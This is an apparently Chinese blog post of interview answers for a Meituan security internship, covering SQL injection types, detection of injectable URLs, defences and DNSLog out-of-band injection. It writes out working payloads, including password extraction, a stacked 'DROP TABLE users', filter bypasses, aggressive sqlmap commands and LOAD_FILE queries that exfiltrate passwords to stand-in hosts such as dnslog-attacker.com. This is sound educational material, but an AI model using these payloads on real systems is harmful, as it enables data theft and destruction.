2025年渗透测试面试题总结-某美团-安全工程师实习(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

美团-安全工程师实习

一、SQL注入攻击类型及原理

[1. 联合查询注入(Union-Based Injection)](#1. 联合查询注入(Union-Based Injection))

[2. 报错注入(Error-Based Injection)](#2. 报错注入(Error-Based Injection))

[3. 布尔盲注(Boolean-Based Blind Injection)](#3. 布尔盲注(Boolean-Based Blind Injection))

[4. 时间盲注(Time-Based Blind Injection)](#4. 时间盲注(Time-Based Blind Injection))

[5. 堆叠注入(Stacked Queries Injection)](#5. 堆叠注入(Stacked Queries Injection))

[6. 二次注入(Second-Order Injection)](#6. 二次注入(Second-Order Injection))

[7. 宽字节注入(GBK Injection)](#7. 宽字节注入(GBK Injection))

[8. Out-of-Band注入(带外通道注入)](#8. Out-of-Band注入(带外通道注入))

二、URL注入点检测方法

[1. 初步探测:字符逃逸测试](#1. 初步探测:字符逃逸测试)

[2. 逻辑测试:布尔条件验证](#2. 逻辑测试:布尔条件验证)

[3. 时间延迟测试](#3. 时间延迟测试)

[4. 联合查询验证](#4. 联合查询验证)

[5. 报错函数触发](#5. 报错函数触发)

[6. 自动化工具辅助](#6. 自动化工具辅助)

[7. 绕过过滤技巧](#7. 绕过过滤技巧)

三、SQL注入防御策略

[1. 参数化查询(Prepared Statements)](#1. 参数化查询(Prepared Statements))

[2. ORM框架使用](#2. ORM框架使用)

[3. 输入验证与过滤](#3. 输入验证与过滤)

[4. 最小权限原则](#4. 最小权限原则)

[5. 错误处理与日志](#5. 错误处理与日志)

[6. Web应用防火墙(WAF)](#6. Web应用防火墙(WAF))

[7. 安全编码规范](#7. 安全编码规范)

四、DNSLog注入详解(1000字)

[1. 攻击原理](#1. 攻击原理)

[2. 适用场景](#2. 适用场景)

[3. 检测与利用工具](#3. 检测与利用工具)

[4. 防御措施](#4. 防御措施)

美团-安全工程师实习

复制代码
sql注入有哪些
URL如何判断是否存在注入
sql注入防范
DNSlog注入
一、SQL注入攻击类型及原理
1. 联合查询注入(Union-Based Injection)

原理 :通过构造UNION SELECT语句合并合法查询与攻击者定义的恶意查询,从而从其他表中提取数据。
示例
/product.php?id=1' UNION SELECT username,password FROM users--+
关键条件

  • 原查询与UNION查询的字段数必须相同。
  • 数据库需返回完整查询结果(非部分截断)。
    检测方法
  • 使用ORDER BY递增数字确定字段数(如ORDER BY 5若报错则字段数小于5)。
  • 通过UNION SELECT NULL,NULL,...测试字段兼容性(部分数据库要求字段类型一致)。
2. 报错注入(Error-Based Injection)

原理 :利用数据库函数或语法错误触发显式报错,将敏感数据通过错误信息回显。
常用函数

  • MySQLextractvalue(1,concat(0x7e,(SELECT @@version)))(利用XML解析报错)。
  • SQL ServerCONVERT(int, (SELECT @@version))(类型转换错误)。
    示例
    /search.php?q=1' AND updatexml(1,concat(0x7e,(SELECT user())),1)--+
    优势:无需依赖页面内容显示数据,仅需观察错误信息。
3. 布尔盲注(Boolean-Based Blind Injection)

原理 :通过页面返回的布尔状态(真/假)推断数据内容,适用于无报错且无数据回显的场景。
攻击流程

  1. 构造条件语句,如AND 1=1(页面正常)与AND 1=2(页面异常)。
  2. 逐字符猜解数据,如:
    /login.php?user=admin' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--+
    自动化工具 :使用sqlmap --technique=B指定布尔盲注测试。
4. 时间盲注(Time-Based Blind Injection)

原理 :通过数据库延时函数(如SLEEP())触发响应时间差异,判断注入条件是否成立。
示例
/profile.php?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)--+

(若数据库名首字母ASCII码为115即字母's',则页面响应延迟5秒)。
跨数据库差异

  • MySQLSLEEP(5)
  • PostgreSQLpg_sleep(5)
  • SQL ServerWAITFOR DELAY '0:0:5'
5. 堆叠注入(Stacked Queries Injection)

原理 :利用分号;执行多条SQL语句,实现增删改查操作。
示例
/delete.php?id=1'; DROP TABLE users;--+
支持场景

  • PHP + MySQL默认不支持堆叠查询(需使用mysqli_multi_query)。
  • ASP + SQL Server通常支持。
    风险:可直接执行高危操作(如删除表、写入文件)。
6. 二次注入(Second-Order Injection)

原理 :攻击数据先被存储(如用户注册),后续在另一个功能中被调用执行。
典型场景

  1. 注册用户名为admin'-- ,前端过滤但未转义。
  2. 密码修改功能调用用户名时触发注入:
    UPDATE users SET password='newpass' WHERE username='admin'-- '
    防御难点:需确保所有涉及数据库读写环节均进行过滤。
7. 宽字节注入(GBK Injection)

原理 :利用数据库字符集转换漏洞(如GBK编码),绕过转义符(\)过滤。
示例

  • 输入%bf%27¿'),转义后变为%bf%5c%27(GBK解码为運'),导致单引号逃逸。
    防御:统一使用UTF-8编码,避免多字节字符集。
8. Out-of-Band注入(带外通道注入)

原理 :通过DNS、HTTP等外部协议将数据外传,常用于无回显场景。
DNSLog注入示例 (详见第四部分):
/api.php?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--+
依赖条件 :数据库需具备外连权限(如MySQL的secure_file_priv为空)。


二、URL注入点检测方法
1. 初步探测:字符逃逸测试

步骤

  1. 在参数后添加单引号'、双引号"、括号)等,观察是否报错或页面内容变化。
  2. 测试注释符:-- (SQL Server)、#(MySQL)、/*(多行注释)。
    示例
    /product.php?id=1' → 返回数据库语法错误。
    /search?q=test" → 页面无结果,可能触发逻辑异常。
2. 逻辑测试:布尔条件验证

方法

  • AND 1=1 → 页面正常(如商品详情正常加载)。
  • AND 1=2 → 页面无数据(如商品消失)。
    进阶
  • 拼接永真/永假条件:OR 'a'='a'AND 'a'='b'
  • 验证数字型/字符型注入:id=2-1(若返回id=1的内容则为数字型)。
3. 时间延迟测试

Payload

  • MySQL:id=1' AND SLEEP(5)--+
  • SQL Server:id=1; WAITFOR DELAY '0:0:5'--
    判断依据:响应时间是否显著增加(需排除网络波动干扰)。
4. 联合查询验证

流程

  1. 使用ORDER BY确定字段数:
    /product.php?id=1 ORDER BY 5--+ → 若报错则字段数小于5。
  2. 构造UNION SELECT验证回显位:
    id=-1' UNION SELECT 1,2,3--+ → 页面显示数字2和3,则为可输出位。
5. 报错函数触发

Payload设计

  • AND updatexml(1,concat(0x7e,(SELECT user())),1) → 显示XPATH syntax error: '~root@localhost'
  • OR exp(~(SELECT * FROM (SELECT version())x)) → 触发双查询报错。
6. 自动化工具辅助

sqlmap命令示例

复制代码
bash`sqlmap -u "http://example.com/product.php?id=1" \ --batch \ --risk=3 \ --level=5 \ --technique=BEUSTQ `

参数说明

  • --technique:指定注入技术(B:布尔盲注, E:报错注入, U:联合查询, S:堆叠注入, T:时间盲注, Q:内联查询)。
  • --risk=3:允许使用高风险Payload(如OR条件)。
7. 绕过过滤技巧

常见绕过方法

  • 大小写混写UnIoN SeLeCt
  • URL编码%20替换空格,%27替换单引号。
  • 双写关键词UNIUNIONON SELECT(若过滤UNION则为UNIONON)。
  • 注释符分割SEL/**/ECT

三、SQL注入防御策略
1. 参数化查询(Prepared Statements)

原理 :将SQL语句与数据分离,数据库预编译模板后仅处理参数值。
代码示例(Python)

复制代码
python`cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))`

支持框架

  • Java:PreparedStatement
  • PHP:PDO($stmt->bindParam())。
2. ORM框架使用

优势 :通过对象映射避免手动拼接SQL。
示例

  • Django ORM:User.objects.filter(id=user_id)
  • Hibernate:session.createQuery("FROM User WHERE id = :id").setParameter("id", user_id)
3. 输入验证与过滤

策略

  • 白名单验证 :如数字型参数仅允许[0-9]
  • 黑名单过滤 :禁用UNIONSELECT等关键词(需谨慎,易被绕过)。
4. 最小权限原则

数据库账号配置

  • 禁止使用rootsa账号连接应用。
  • 限制权限:仅授予SELECTINSERT等必要权限,禁用FILEEXECUTE
5. 错误处理与日志

要求

  • 前端返回通用错误信息(如"系统错误")。
  • 日志记录完整错误详情,但避免泄露数据库结构。
6. Web应用防火墙(WAF)

功能

  • 拦截包含UNIONSLEEP等特征的请求。
  • 配置正则规则:如/\bUNION\b.*\bSELECT\b/i
7. 安全编码规范

规则示例

  • 禁止动态拼接SQL(如"SELECT * FROM " + tableName)。
  • 统一使用参数化接口(如MyBatis #{}占位符)。

四、DNSLog注入详解(1000字)
1. 攻击原理

流程

  1. 构造Payload触发数据库发起DNS查询。
  2. 查询内容包含敏感数据(如SELECT user())。
  3. 攻击者通过DNS日志获取数据。

示例Payload(MySQL)

复制代码
sql`' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.dnslog-attacker.com\\test'))--+ `

关键函数

  • LOAD_FILE():读取文件(需FILE权限)。
  • CONCAT():拼接域名和数据。
2. 适用场景
  • 目标数据库允许外连(secure_file_priv为空)。
  • 注入点为盲注且无回显。
3. 检测与利用工具
  • DNSLog平台ceye.iodnslog.cn (提供临时域名收集查询记录)。
  • sqlmap集成
复制代码
bash`sqlmap -u "http://example.com/vuln.php?id=1" \ --dns-domain dnslog-attacker.com \ --technique=BEUST `
4. 防御措施
  • 限制数据库外连权限(配置防火墙规则)。
  • 禁用FILE权限和危险函数(如LOAD_FILE())。
  • 过滤输入中的特殊字符(如\.)。
相关推荐
pianmian11 分钟前
python每日十题(10)
开发语言·python
JNTeresa9 分钟前
预测蓝桥杯16届嵌入式省赛客观题
职场和发展·蓝桥杯
ヾ慈城11 分钟前
【MySQL | 七、存储引擎是什么?】
数据库·mysql
王有品12 分钟前
python之横条形图实例
开发语言·python
dchen7719 分钟前
前端实现大文件下载的终极解决方案!!!
前端·javascript·面试
Python数据分析与机器学习19 分钟前
《基于Python的财务数据可视化与决策支持系统开发》开题报告
大数据·开发语言·人工智能·python·深度学习·信息可视化
轻松Ai享生活28 分钟前
使用 Python 将工作流程自动化
人工智能·python
天草二十六_简村人33 分钟前
Rabbitmq消息被消费时抛异常,进入Unacked 状态,进而导致消费者不断尝试消费(上)
java·spring boot·分布式·后端·rabbitmq
多多*40 分钟前
使用事件监听器来处理并发环境中RabbitMQ的同步响应问题
java·开发语言·spring boot·分布式·docker·mybatis
农夫阿才42 分钟前
排序算法总结
java·算法·排序算法